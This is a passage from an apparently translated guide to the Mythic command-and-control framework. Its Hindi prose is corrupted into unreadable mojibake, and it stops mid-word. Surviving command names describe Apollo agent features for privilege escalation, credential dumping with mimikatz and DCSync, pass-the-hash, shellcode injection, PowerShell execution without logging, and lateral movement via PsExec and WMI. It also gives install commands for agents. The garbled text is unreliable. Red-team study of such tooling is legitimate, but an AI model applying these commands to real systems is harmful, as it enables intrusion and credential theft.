рдПрдЬреЗрдВрдЯ рдХреЗ рд╕реЛрдиреЗ рдХреЗ рдЕрдВрддрд░рд╛рд▓ рдХреЛ рдмрджрд▓реЗрдВ, рдЬреЛ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ Mythic рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдХрд┐рддрдиреА рдмрд╛рд░ рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИ +- рдФрд░ рдХрдИ рдЕрдиреНрдп, рдЙрдкрд▓рдмреНрдз рдХрдорд╛рдВрдб рдХреА рдкреВрд░реА рд╕реВрдЪреА рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП `help` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред + +### рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ + +- `getprivs`: рд╡рд░реНрддрдорд╛рди рдереНрд░реЗрдб рдЯреЛрдХрди рдкрд░ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ +- `getsystem`: winlogon рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓ рдЦреЛрд▓реЗрдВ рдФрд░ рдЯреЛрдХрди рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ SYSTEM рд╕реНрддрд░ рдкрд░ рдмрдврд╝рд╛рдирд╛ +- `make_token`: рдПрдХ рдирдпрд╛ рд▓реЙрдЧрд┐рди рд╕рддреНрд░ рдмрдирд╛рдПрдВ рдФрд░ рдЗрд╕реЗ рдПрдЬреЗрдВрдЯ рдкрд░ рд▓рд╛рдЧреВ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `steal_token`: рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдПрдХ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдЬреЗрдВрдЯ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХреЗ +- `pth`: Pass-the-Hash рд╣рдорд▓рд╛, рдЬрд┐рд╕рд╕реЗ рдПрдЬреЗрдВрдЯ NTLM рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдмрд┐рдирд╛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ +- `mimikatz`: Mimikatz рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдВ рддрд╛рдХрд┐ рдореЗрдореЛрд░реА рдпрд╛ SAM рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, рд╣реИрд╢ рдФрд░ рдЕрдиреНрдп рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХреЗ +- `rev2self`: рдПрдЬреЗрдВрдЯ рдХреЗ рдЯреЛрдХрди рдХреЛ рдЗрд╕рдХреЗ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди рдкрд░ рд╡рд╛рдкрд╕ рд▓рд╛рдПрдВ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдореВрд▓ рд╕реНрддрд░ рдкрд░ рд╡рд╛рдкрд╕ рд▓рд╛рдирд╛ +- `ppid`: рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдиреМрдХрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирдП рдорд╛рддрд╛-рдкрд┐рддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЖрдИрдбреА рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрджрд▓реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдиреМрдХрд░реА рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрджрд░реНрдн рдкрд░ рдмреЗрд╣рддрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗ +- `printspoofer`: рдкреНрд░рд┐рдВрдЯ рд╕реНрдкреВрд▓рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП PrintSpoofer рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдВ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдпрд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `dcsync`: рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ Kerberos рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдкрд░ рд╕рд┐рдВрдХ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдСрдлрд╝рд▓рд╛рдЗрди рдкрд╛рд╕рд╡рд░реНрдб рдХреНрд░реИрдХрд┐рдВрдЧ рдпрд╛ рдЖрдЧреЗ рдХреЗ рд╣рдорд▓реЗ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗрдВ +- `ticket_cache_add`: рд╡рд░реНрддрдорд╛рди рд▓реЙрдЧрд┐рди рд╕рддреНрд░ рдпрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдПрдХ рдореЗрдВ рдПрдХ Kerberos рдЯрд┐рдХрдЯ рдЬреЛрдбрд╝реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЯрд┐рдХрдЯ рдкреБрди: рдЙрдкрдпреЛрдЧ рдпрд╛ рдЕрдиреБрдХрд░рдг рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ + +### рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди + +- `assembly_inject`: рдПрдХ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ .NET рдЕрд╕реЗрдВрдмрд▓реА рд▓реЛрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ +- `execute_assembly`: рдПрдЬреЗрдВрдЯ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ .NET рдЕрд╕реЗрдВрдмрд▓реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ +- `execute_coff`: рдореЗрдореЛрд░реА рдореЗрдВ COFF рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХрд╛ рдЗрди-рдореЗрдореЛрд░реА рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `execute_pe`: рдПрдХ unmanaged executable (PE) рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ +- `inline_assembly`: рдПрдХ рдЕрд╕реНрдерд╛рдпреА AppDomain рдореЗрдВ .NET рдЕрд╕реЗрдВрдмрд▓реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдЬреЗрдВрдЯ рдХреА рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд┐рдП рдмрд┐рдирд╛ рдХреЛрдб рдХрд╛ рдЕрд╕реНрдерд╛рдпреА рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `run`: рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдПрдХ рдмрд╛рдЗрдирд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╕рд┐рд╕реНрдЯрдо рдХреЗ PATH рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдЦреЛрдЬрддрд╛ рд╣реИ +- `shinject`: рдПрдХ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдордирдорд╛рдиреЗ рдХреЛрдб рдХрд╛ рдЗрди-рдореЗрдореЛрд░реА рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `inject`: рдПрдХ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдЬреЗрдВрдЯ рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдЬреЗрдВрдЯ рдХреЗ рдХреЛрдб рдХрд╛ рдЗрди-рдореЗрдореЛрд░реА рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `spawn`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдВ рдПрдХ рдирдпрд╛ рдПрдЬреЗрдВрдЯ рд╕рддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ +- `spawnto_x64` рдФрд░ `spawnto_x86`: рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдиреМрдХрд░рд┐рдпреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкрде рдореЗрдВ рдмрджрд▓реЗрдВ, рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ `rundll32.exe` рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд┐рдирд╛ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдЬреЛ рдмрд╣реБрдд рд╢реЛрд░ рдХрд░рддрд╛ рд╣реИред + +### Mithic Forge + +рдпрд╣ **COFF/BOF** рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ Mythic Forge рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд рдкреЗрд▓реЛрдб рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдПрдХ рднрдВрдбрд╛рд░ рд╣реИред рд╕рднреА рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЬреЛ рд▓реЛрдб рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рд╣реЛрдЧрд╛, рдЙрдиреНрд╣реЗрдВ рд╡рд░реНрддрдорд╛рди рдПрдЬреЗрдВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ BOFs рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ (рдЕрдзрд┐рдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рдЖрдорддреМрд░ рдкрд░)ред + +рдЗрдиреНрд╣реЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ: +```bash +./mythic-cli install github https://github.com/MythicAgents/forge.git +``` +рдлрд┐рд░, `forge_collections` рдХрд╛ рдЙрдкрдпреЛрдЧ Mythic Forge рд╕реЗ COFF/BOF рдореЙрдбреНрдпреВрд▓ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдПрдЬреЗрдВрдЯ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рдЪрдпрдирд┐рдд рдФрд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, Apollo рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд 2 рд╕рдВрдЧреНрд░рд╣ рдЬреЛрдбрд╝реЗ рдЧрдП рд╣реИрдВ: + +- `forge_collections {"collectionName":"SharpCollection"}` +- `forge_collections {"collectionName":"SliverArmory"}` + +рдПрдХ рдмрд╛рд░ рдЬрдм рдПрдХ рдореЙрдбреНрдпреВрд▓ рд▓реЛрдб рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реВрдЪреА рдореЗрдВ рдПрдХ рдЕрдиреНрдп рдХрдорд╛рдВрдб рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ рдЬреИрд╕реЗ `forge_bof_sa-whoami` рдпрд╛ `forge_bof_sa-netuser`ред + +### Powershell & рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдирд┐рд╖реНрдкрд╛рджрди + +- `powershell_import`: рдПрдЬреЗрдВрдЯ рдХреИрд╢ рдореЗрдВ рдПрдХ рдирдпрд╛ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ (.ps1) рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдмрд╛рдж рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ +- `powershell`: рдПрдЬреЗрдВрдЯ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ PowerShell рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрдиреНрдирдд рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ +- `powerpick`: рдПрдХ рдмрд▓рд┐рджрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ PowerShell рд▓реЛрдбрд░ рдЕрд╕реЗрдВрдмрд▓реА рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ PowerShell рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ (рдмрд┐рдирд╛ PowerShell рд▓реЙрдЧрд┐рдВрдЧ рдХреЗ)ред +- `psinject`: рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ PowerShell рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рдХреНрд╖рд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ +- `shell`: рдПрдЬреЗрдВрдЯ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, cmd.exe рдореЗрдВ рдПрдХ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд╕рдорд╛рди + +### рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ + +- `jump_psexec`: PsExec рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдП рд╣реЛрд╕реНрдЯ рдкрд░ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдХрд░рддрд╛ рд╣реИ, рдкрд╣рд▓реЗ Apollo рдПрдЬреЗрдВрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп (apollo.exe) рдХреЛ рдХреЙрдкреА рдХрд░рдХреЗ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗред +- `jump_wmi`: WMI рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдП рд╣реЛрд╕реНрдЯ рдкрд░ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдХрд░рддрд╛ рд╣реИ, рдкрд╣рд▓реЗ Apollo рдПрдЬреЗрдВрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп (apollo.exe) рдХреЛ рдХреЙрдкреА рдХрд░рдХреЗ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗред +- `wmiexecute`: WMI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдерд╛рдиреАрдп рдпрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рджреВрд░рд╕реНрде рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡реИрдХрд▓реНрдкрд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рд╕рд╛рдеред +- `net_dclist`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд▓рдХреНрд╖реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реИред +- `net_localgroup`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕реНрдерд╛рдиреАрдп рд╕рдореВрд╣реЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИ, рдпрджрд┐ рдХреЛрдИ рдХрдВрдкреНрдпреВрдЯрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ localhostред +- `net_localgroup_member`: рд╕реНрдерд╛рдиреАрдп рдпрд╛ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХреЗред +- `net_shares`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рджреВрд░рд╕реНрде рд╢реЗрдпрд░реЛрдВ рдФрд░ рдЙрдирдХреА рдкрд╣реБрдВрдЪ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд▓рдХреНрд╖реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реИред +- `socks`: рд▓рдХреНрд╖рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ SOCKS 5 рдЕрдиреБрдкрд╛рд▓рди рдкреНрд░реЙрдХреНрд╕реА рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рд╣реЛрд╕реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЯрдирд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдкреНрд░реЙрдХреНрд╕реАрдЪреЗрди рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЧрддред +- `rpfwd`: рд▓рдХреНрд╖рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреЛрд░реНрдЯ рдкрд░ рд╕реБрдирдирд╛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ Mythic рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рджреВрд░рд╕реНрде IP рдФрд░ рдкреЛрд░реНрдЯ рдкрд░ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рд▓рдХреНрд╖рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рджреВрд░рд╕реНрде рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- `listpipes`: рд╕реНрдерд╛рдиреАрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд╕рднреА рдирд╛рдорд┐рдд рдкрд╛рдЗрдкреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП IPC рддрдВрддреНрд░реЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред + +### рд╡рд┐рд╡рд┐рдз рдХрдорд╛рдВрдб +- `help`: рдПрдЬреЗрдВрдЯ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдб рдпрд╛ рд╕рднреА рдЙрдкрд▓рдмреНрдз рдХрдорд╛рдВрдб рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред +- `clear`: рдХрд╛рд░реНрдпреЛрдВ рдХреЛ 'рд╕реНрдкрд╖реНрдЯ' рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдПрдЬреЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЖрдк рд╕рднреА рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `all` рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрд╛рд░реНрдп рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `task Num` рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +## [Poseidon Agent](https://github.com/MythicAgents/Poseidon) + +Poseidon рдПрдХ Golang рдПрдЬреЗрдВрдЯ рд╣реИ рдЬреЛ **Linux рдФрд░ macOS** рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рд╣реЛрддрд╛ рд╣реИред +```bash +./mythic-cli install github https://github.com/MythicAgents/Poseidon.git +``` +рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓рд┐рдирдХреНрд╕ рдкрд░ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдХрдорд╛рдВрдб рд╣реЛрддреЗ рд╣реИрдВ: + +### рд╕рд╛рдорд╛рдиреНрдп рдХреНрд░рд┐рдпрд╛рдПрдБ + +- `cat`: рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА 